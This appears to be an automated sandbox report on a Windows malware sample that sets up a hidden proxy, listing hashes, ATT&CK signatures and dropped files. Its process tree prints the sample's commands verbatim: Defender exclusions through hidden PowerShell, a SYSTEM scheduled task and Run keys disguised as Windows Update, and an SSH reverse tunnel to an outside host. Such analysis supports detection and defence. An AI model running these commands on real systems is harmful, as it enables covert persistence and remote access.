7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d

Analysis

max time kernel
148s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 18:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe
Size 7.2MB
Sample260604-wvf48act3r
SHA256 7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d
MD5 0d0d5a62e2fb9f6f0227856f42c07a47
SHA1 88d055a99c1521b27cee19b782b22bcbb34ddf5f
SHA512 827fdc805f9b3f2af849f1aca7e451d224970e48a91c0ecf22986efd47f92b855762335ff9022c8858c7715605321908228d8f39a7fbc84d961c39c072d37d84
SSDEEP 98304:CWaYKFDm/lnCL0Y1feKlacD8RG5ea6W3blaHM69Wj5M4EL:CKKkVCLd1feKkNK89Wj5MxL
TLSH
T1F9764A03ECA565E9D0AAD63489739112BF717C485B3123D72BA0F7282F72BD0AE79750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4772	powershell.exe
4900	powershell.exe
692	powershell.exe
4772	powershell.exe
4900	powershell.exe
692	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
936	proxy_new.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1516	icacls.exe
4044	icacls.exe
3636	icacls.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Service = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Service = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Service = "\"C:\\ProgramData\\ProxyServer\\proxy_new.exe\""	reg.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	api.ipify.org
4	api.ipify.org
7	api.ipify.org

GoLang User-Agent 7 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	8	Go-http-client/1.1
HTTP User-Agent header	9	Go-http-client/1.1
HTTP User-Agent header	10	Go-http-client/1.1
HTTP User-Agent header	12	Go-http-client/1.1
HTTP User-Agent header	13	Go-http-client/1.1
HTTP User-Agent header	3	Go-http-client/1.1
HTTP User-Agent header	5	Go-http-client/1.1

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2460	reg.exe
976	reg.exe
452	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1664	schtasks.exe
4580	schtasks.exe
588	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4772	powershell.exe
4772	powershell.exe
4900	powershell.exe
4900	powershell.exe
692	powershell.exe
692	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	692	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4160 wrote to memory of 4772	4160	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	80
PID 4160 wrote to memory of 1664	4160	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	82
PID 4160 wrote to memory of 1516	4160	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	84
PID 4160 wrote to memory of 4044	4160	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	86
PID 4160 wrote to memory of 3636	4160	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	88
PID 936 wrote to memory of 4900	936	proxy_new.exe	92
PID 936 wrote to memory of 4580	936	proxy_new.exe	94
PID 4160 wrote to memory of 2460	4160	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	96
PID 4160 wrote to memory of 3872	4160	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	98
PID 2280 wrote to memory of 692	2280	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	102
PID 2280 wrote to memory of 588	2280	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	104
PID 936 wrote to memory of 976	936	proxy_new.exe	106
PID 2280 wrote to memory of 452	2280	_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe
"C:\Users\Admin\AppData\Local\Temp\_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ProxyServer' -ExclusionProcess 'C:\ProgramData\ProxyServer\proxy_new.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\system32\schtasks.exe
  schtasks /create /f /tn \Microsoft\Windows\WindowsUpdate\UpdateTaskMachine /tr \"C:\ProgramData\ProxyServer\proxy_new.exe\" /sc onstart /ru SYSTEM /rl highest /delay 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1664
- C:\Windows\system32\icacls.exe
  icacls C:\ProgramData\ProxyServer\id_ed25519 /inheritance:r
  2⤵
  - Modifies file permissions
  PID:1516
- C:\Windows\system32\icacls.exe
  icacls C:\ProgramData\ProxyServer\id_ed25519 /grant:r Admin:F
  2⤵
  - Modifies file permissions
  PID:4044
- C:\Windows\system32\icacls.exe
  icacls C:\ProgramData\ProxyServer\id_ed25519 /grant:r SYSTEM:F
  2⤵
  - Modifies file permissions
  PID:3636
- C:\Windows\system32\reg.exe
  reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Update Service" /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2460
- C:\Windows\System32\OpenSSH\ssh.exe
  ssh -N -R 0.0.0.0:8953:127.0.0.1:3128 -o ServerAliveInterval=10 -o ServerAliveCountMax=3 -o StrictHostKeyChecking=no -o UserKnownHostsFile=nul -i C:\ProgramData\ProxyServer\id_ed25519 [email protected]
  2⤵
  PID:3872

C:\ProgramData\ProxyServer\proxy_new.exe
"C:\ProgramData\ProxyServer\proxy_new.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ProxyServer' -ExclusionProcess 'C:\ProgramData\ProxyServer\proxy_new.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4900
- C:\Windows\system32\schtasks.exe
  schtasks /create /f /tn \Microsoft\Windows\WindowsUpdate\UpdateTaskMachine /tr \"C:\ProgramData\ProxyServer\proxy_new.exe\" /sc onstart /ru SYSTEM /rl highest /delay 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4580
- C:\Windows\system32\reg.exe
  reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Update Service" /t REG_SZ /d \"C:\ProgramData\ProxyServer\proxy_new.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:976
- C:\Windows\System32\OpenSSH\ssh.exe
  ssh -N -R 0.0.0.0:8953:127.0.0.1:3128 -o ServerAliveInterval=10 -o ServerAliveCountMax=3 -o StrictHostKeyChecking=no -o UserKnownHostsFile=nul -i C:\ProgramData\ProxyServer\id_ed25519 [email protected]
  2⤵
  PID:4792

C:\Users\Admin\AppData\Local\Temp\_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe
"C:\Users\Admin\AppData\Local\Temp\_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\ProxyServer' -ExclusionProcess 'C:\ProgramData\ProxyServer\proxy_new.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:692
- C:\Windows\system32\schtasks.exe
  schtasks /create /f /tn \Microsoft\Windows\WindowsUpdate\UpdateTaskMachine /tr \"C:\ProgramData\ProxyServer\proxy_new.exe\" /sc onstart /ru SYSTEM /rl highest /delay 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:588
- C:\Windows\system32\reg.exe
  reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Update Service" /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\_7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d.exe\" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

id_ed25519

Path C:\ProgramData\ProxyServer\id_ed25519
Size 387B
SHA256 6cb578e171fca88d5ad014e29f245a71dabd1b2684f9b0b1f7cf943c15b82975
MD5 c9ead6272f1c10da812b147c872f7fda
SHA1 68d4fe697577463cb960364e49b827446afa371e
SHA512 a44704f80e3d479b1b1f1717734a5e1f62b0fac1b2d14ed6593901f3867e7b6ce78e9a806fbe5660cb39a4595f46e61e5680c46a73609780c960f5ef024018e9
TLSH
T129E068BF2C803E90AC2FCAD45E0197B76F75CA93008A71E282B1880611A2494A32C4C3
MD5 SHA1 SHA512 TLSH

Submit Download

id_ed25519.pub

Path C:\ProgramData\ProxyServer\id_ed25519.pub
Size 81B
SHA256 68a550c70b4168325bf519164a086f3997235b5ed56b760d2531abc07c8af166
MD5 5089ea2ea127507c81e04bf957b47679
SHA1 da9095d1abc42ffd1ad2caee2873402cb4c71a42
SHA512 7b9f846c7f3975f531763685d48cf4c75d0ead0661aee89ecb6d3ed55f07822419df45615006dc30df8772f329bd2f0b1021731d8eef06e07d3cc550653ee5bb
TLSH
T19CA012210080100499094C000701252C7D92214053C8100385C601618A0ED882718924
MD5 SHA1 SHA512 TLSH

Submit Download

machine_id.txt

Path C:\ProgramData\ProxyServer\machine_id.txt
Size 8B
SHA256 c4885afe3b3c8576c5035aa992cd9306355dd925cb1fd1c19db2c4eb23dcf069
MD5 a0961863d7b56157d17079b30f386cbb
SHA1 3a1dcbf66a28f7681da113fcadb01a8aef703d1c
SHA512 48a484471b05f7e9e9293211d6b9b146ca10246441fed4b843194258d82a2403e32109917aba862e9a921ae8bc18eefa0f066b3fc896e3f2fbcaa01e4e993c7b
MD5 SHA1 SHA512

Submit Download

proxy.log

Path C:\ProgramData\ProxyServer\proxy.log
Size 81B
SHA256 e5c1394fc3c8093b6cdc07c626f8fd99861a99458a4fb68a604a8ac6187fd478
MD5 ca1d7a1ca30277dc7ae878596a55fb52
SHA1 f2afae5a7f9762415899873c79221e3858315487
SHA512 40262f4dca2c0eb68e9dbff1c58983fc857c0c7702cf9a4c8145268d0b2125383841c89cccaf3b062b8c9a68a5d9f38f78a319b063cfeda15ccf4da606720318
TLSH
T10CA012040006E33610C852E6882111804A45C2E5600210900228C50CA5215203DBA186
MD5 SHA1 SHA512 TLSH

Submit Download

proxy_new.exe

Path C:\ProgramData\ProxyServer\proxy_new.exe
Size 7.2MB
SHA256 7a4ededdbc64263754ab17b3d00d3a22c0361f14caa150332524b3332a0aef5d
MD5 0d0d5a62e2fb9f6f0227856f42c07a47
SHA1 88d055a99c1521b27cee19b782b22bcbb34ddf5f
SHA512 827fdc805f9b3f2af849f1aca7e451d224970e48a91c0ecf22986efd47f92b855762335ff9022c8858c7715605321908228d8f39a7fbc84d961c39c072d37d84
SSDEEP 98304:CWaYKFDm/lnCL0Y1feKlacD8RG5ea6W3blaHM69Wj5M4EL:CKKkVCLd1feKkNK89Wj5MxL
TLSH
T1F9764A03ECA565E9D0AAD63489739112BF717C485B3123D72BA0F7282F72BD0AE79750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fb485201330a5ca14dc2d7a80ecf88b5c9e53d59929f9234c3ccf7548e2fe73f
MD5 d457c1f4bc93b922760f898f5ee33a51
SHA1 73b3a14397cddbaf0f61cf73df084973e2d781f1
SHA512 84f2942c741f0034f4c83cc58350d8c63e150b1bf02c2c65e07ee2f259dd5679b2e318faec233d2be6e5d4ce67ce7b56725dd4ab4a3186aef34d62da35bcff17
TLSH
T12D218633B7ACC235C8D911BA208CAD01B2B5C3C7449ECE8B7B84C518A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 640b1fc066dec01b1d6c32f9512c9f61a7edfba6358198622fff2ee1072c91a8
MD5 c595e88d6b5b552a3935411d75ec8ac4
SHA1 b84696ac0a96c25ebe45a5f3408fe56cb6547bdd
SHA512 a926b32baf76b49696e12d0a3d5cdf596437bf95c4b5a9b6ac6d290677b52fdd7a27081c59fdd87fa1614c63bfca1260d0340fed93a68717ba5341510784864b
TLSH
T13A21AB33B79CC134C8C9117A108DAD01B2B5C3C7449ECE8B7BC4C518A57F999DF641A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mjsndp3l.y3x.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mjsndp3l.y3x.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/692-67-0x0000019AECAF0000-0x0000019AECBA3000-memory.dmp

Download

memory/4772-17-0x000002912F940000-0x000002912F95C000-memory.dmp

Download

memory/4772-20-0x000002912FA40000-0x000002912FA5C000-memory.dmp

Download

memory/4772-23-0x000002912FA30000-0x000002912FA38000-memory.dmp

Download

memory/4772-24-0x000002912FA60000-0x000002912FA66000-memory.dmp

Download

memory/4772-25-0x000002912FA70000-0x000002912FA7A000-memory.dmp

Download

memory/4772-26-0x000002912D7A0000-0x000002912D7B0000-memory.dmp

Download

memory/4772-21-0x000002912FA20000-0x000002912FA2A000-memory.dmp

Download

memory/4772-22-0x000002912FEF0000-0x000002912FF0A000-memory.dmp

Download

memory/4772-19-0x000002912F930000-0x000002912F93A000-memory.dmp

Download

memory/4772-18-0x000002912F960000-0x000002912FA13000-memory.dmp

Download

memory/4772-1-0x000002912D7A0000-0x000002912D7B0000-memory.dmp

Download

memory/4772-10-0x00007FF480D00000-0x00007FF480D10000-memory.dmp

Download

memory/4772-9-0x000002912D7A0000-0x000002912D7B0000-memory.dmp

Download

memory/4772-2-0x000002912D700000-0x000002912D722000-memory.dmp

Download

memory/4772-0-0x000002912D7A0000-0x000002912D7B0000-memory.dmp

Download